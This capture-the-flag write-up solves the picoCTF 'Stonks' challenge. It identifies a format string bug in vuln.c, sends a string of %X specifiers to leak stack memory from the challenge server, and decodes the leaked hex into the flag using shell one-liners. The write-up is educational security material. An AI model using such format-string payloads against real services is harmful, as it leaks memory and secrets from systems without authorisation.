Description
I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn’t believe you if you told me it’s unsecure! vuln.c
nc mercury.picoctf.net 16439
Hint: Okay, maybe I’d believe you if you find my API key.
Solution
Following the command in the challenge’s description, we start a netcat session with the given server and are presented with the following prompt:
1
2
3
What would you like to do?
1) Buy some stonks!
2) View my portfolio
Selecting option 1 will ask us for an API token:
1
2
3
4
5
6
7
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
And whatever character we input will return us a list of “stocks”.
The details surrounding this challenge are mostly gibberish obviously, there is no actual trading bot or API calls.
However, upon following the challenge’s hint and examining the C code provided vuln.c
, we’ll find the following:
1
2
3
4
5
89 char *user_buf = malloc(300 + 1);
90 printf("What is your API token?\n");
91 scanf("%300s", user_buf);
92 printf("Buying stonks with token:\n");
93 printf(user_buf);
Assuming this is the code running on the server we just connectd to, we should recognize the prompts we interacted with, asking us for an “API key”.
On line 93
we can spot a bad coding practice in C, the printing of a variable with no input validation. On line 92
we note that this variable is what’s being read as the user input for when the “API key” is requested. This is a string format vulnerability we can attempt to exploit.
If we connect to the server again and input multiple %X
characters at that prompt, we’ll get the server to print data from the stack in hex:
1
2
3
4
5
6
7
8
9
10
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X
Buying stonks with token:
88494F0804B00080489C3F7F48D80FFFFFFFF18847160F7F56110F7F48DC708848180388494D088494F06F6369707B465443306C5F49345F74356D5F6C6C306D5F795F79336E6263376365616336FFDB007DF7F83AF8F7F56440424F380010F7DE5BE9F7F570C0F7F485C0F7F48000FFDB8D88F7DD658DF7F485C08048ECAFFDB8D940
Converting the hex to text:
1
2
$ echo "88494F0804B00080489C3F7F48D80FFFFFFFF18847160F7F56110F7F48DC708848180388494D088494F06F6369707B465443306C5F49345F74356D5F6C6C306D5F795F79336E6263376365616336FFDB007DF7F83AF8F7F56440424F380010F7DE5BE9F7F570C0F7F485C0F7F48000FFDB8D88F7DD658DF7F485C08048ECAFFDB8D940" | xxd -p -r
IH?HGVHpHIocip{FTC0l_I4_t5m_ll0m_y_y3nbc7ceac6}:d@BO8[pۍeH@%
We can spot something that looks like the flag, albeit scrambled. Let’s get rid of the extra data:
1
2
$ echo "6F6369707B465443306C5F49345F74356D5F6C6C306D5F795F79336E6263376365616336FFDB007D" | xxd -p -r
ocip{FTC0l_I4_t5m_ll0m_y_y3nbc7ceac6}
If we pay close attention, we’ll notice that every 4 characters are in reverse order. We can rearrange correctly with this sweet one-liner:
1
2
$ echo 'ocip{FTC0l_I4_t5m_ll0m_y_y3nbc7ceac6}' | fold -w4 | rev | tr -d '\n'
picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae}
fold -w4
wraps our string into four character wide lines, rev
reverses each line, then we trim line breaks with tr -d '\n'
, and there’s our flag.